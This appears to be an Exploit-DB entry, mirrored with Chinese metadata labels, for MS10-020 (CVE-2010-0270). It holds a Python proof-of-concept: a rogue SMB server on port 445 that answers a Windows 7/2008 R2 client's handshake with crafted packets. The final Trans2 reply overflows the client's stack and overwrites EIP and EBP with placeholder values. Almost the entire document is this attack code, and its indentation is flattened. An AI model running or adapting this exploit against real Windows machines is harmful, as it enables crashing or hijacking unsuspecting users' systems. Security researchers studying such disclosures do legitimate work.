Microsoft Windows 7/2008 R2 – SMB Client Trans2 Stack Overflow (MS10-020) (PoC)

  • 作者: laurent gaffie
    日期: 2010-04-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/12273/
  • import sys,SocketServer
    
    # Windows 7/2008R2 SMB Client Trans2 stack overflow (MS10-020)
    # Date: 17/04/10
    # Author: Laurent Gaffié
    # Tested on: Windows 7/2008R2
    # CVE: CVE-2010-0270
    # Full advisory: http://seclists.org/fulldisclosure/2010/Apr/201
    # More information: http://g-laurent.blogspot.com/2010/04/ms10-020.html
    #
    # Note from Exploit-DB: It has been reported to us that CVE-2010-0020 also applies
    #
    
    
    EBP = "\x42\x42\x42\x42"
    EIP = "\x41\x41\x41\x41"
    
    
    packetnego = (
    "\x00\x00\x00\x55"
    "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x98\x53\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00"
    "\x11\x05\x00\x03\x0a\x00\x01\x00\x04\x11\x00\x00\x00\x00\x01\x00"
    "\x00\x00\x00\x00\xfd\xe3\x00\x80\x1a\x49\xf9\x22\xfb\x86\xca\x01"
    "\x88\xff\x00\x10\x00\xf0\xe4\x54\xc4\x50\x6c\xb2\x4a\xb9\x3a\x6b"
    "\xcf\xb0\x8c\x8d\xaf"
    )
    
    packetsession = (
    "\x00\x00\x01\x3d"
    "\xff\x53\x4d\x42\x73\x16\x00\x00\xc0\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x10\x00"
    "\x04\xff\x00\x3d\x01\x00\x00\xc8\x00\x12\x01\x4e\x54\x4c\x4d\x53"
    "\x53\x50\x00\x02\x00\x00\x00\x0c\x00\x0c\x00\x38\x00\x00\x00\x15"
    "\x82\x8a\xe2\x16\x7a\x68\x5f\xc6\x0c\x78\xd8\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x84\x00\x84\x00\x44\x00\x00\x00\x05\x01\x28\x0a\x00"
    "\x00\x00\x0f\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x02"
    "\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x01"
    "\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x04"
    "\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b\x00\x75\x00\x32\x00\x2e"
    "\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x6c\x00\x6f\x00\x63"
    "\x00\x61\x00\x6c\x00\x03\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b"
    "\x00\x75\x00\x32\x00\x2e\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e"
    "\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x06\x00\x04\x00\x01"
    "\x00\x00\x00\x07\x00\x08\x00\xe8\x62\xc8\x16\xfb\x86\xca\x01\x00"
    "\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
    "\x73\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x57\x00\x69\x00"
    "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00"
    "\x30\x00\x30\x00\x20\x00\x4c\x00\x41\x00\x4e\x00\x20\x00\x4d\x00"
    "\x61\x00\x6e\x00\x61\x00\x67\x00\x65\x00\x72\x00\x00"
    )
    
    packetsession2 = (
    "\x00\x00\x00\x75"
    "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x20\x00"
    "\x04\xff\x00\x75\x00\x01\x00\x00\x00\x4a\x00\x00\x57\x00\x69\x00"
    "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00"
    "\x31\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
    "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x4c\x00"
    "\x41\x00\x4e\x00\x20\x00\x4d\x00\x61\x00\x6e\x00\x61\x00\x67\x00"
    "\x65\x00\x72\x00\x00"
    )
    
    packetree = (
    "\x00\x00\x00\x38"
    "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe\x00\x08\x30\x00"
    "\x07\xff\x00\x38\x00\x01\x00\xff\x01\x00\x00\xff\x01\x00\x00\x07"
    "\x00\x49\x50\x43\x00\x00\x00\x00"
    )
    
    
    packetntcreate = (
    "\x00\x00\x00\x87"
    "\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x84\x08\x00\x08\x40\x00"
    "\x2a\xff\x00\x87\x00\x00\x00\x40\x01\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00"
    "\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x02\x00\xff\x05\x00\xff\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x01\x12"
    "\x00\x9b\x01\x12\x00\x00\x00"
    )
    
    packetrans = (
    "\x00\x00\x00\x5a"
    "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x30\x0b\x00\x08\x50\x00"
    "\x0a\x02\x00\x18\x00\x00\x00\x02\x00\x38\x00\x00\x00\x18\x00\xff"
    "\xff\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x50\x51\x52\x53\x54\x55\x56"
    "\x02\x61"+EBP+EIP
    )
    
    class SMB1(SocketServer.BaseRequestHandler):
     
    def server_bind(self):
     self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
     self.socket.bind(self.server_address)
    
    def handle(self):
    try:
     while True:
     print "From:", self.client_address
     data = self.request.recv(1024)
    
     ##Negotiate Protocol Response
     if data[8] == "\x72":
     self.request.send(packetnego)
     print "Negotiate Response sent\n"
    
     ##Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED
     if data[8] == "\x73": 
     self.request.send(packetsession)
     print "Session Response sent\n"
     #Session Setup AndX Response
     data = self.request.recv(1024) 
     if data[8] == "\x73":
    self.request.send(packetsession2)
    print "Session 2 Response sent\n"
    
     ##Tree Connect AndX Response
     if data[8] == "\x75":
     self.request.send(packetree)
     print "TREE Response sent\n"
    
     ##NT Create AndX Response, FID: 0x4000
     if data[8] == "\xa2":
     self.request.send(packetntcreate)
     print "NT create Response sent\n"
    
     ####Trans2 Response, QUERY_FS_INFO
     if data[8] == "\x32": 
     self.request.send(packetrans)
     print "Trans2 Response sent box pwned\n"
    
    except Exception:
     print "oups"
     self.request.close()
     print "Disconnected from", self.client_address
    
    SocketServer.TCPServer.allow_reuse_address = 1
    launch = SocketServer.TCPServer(('', 445),SMB1)
    launch.serve_forever()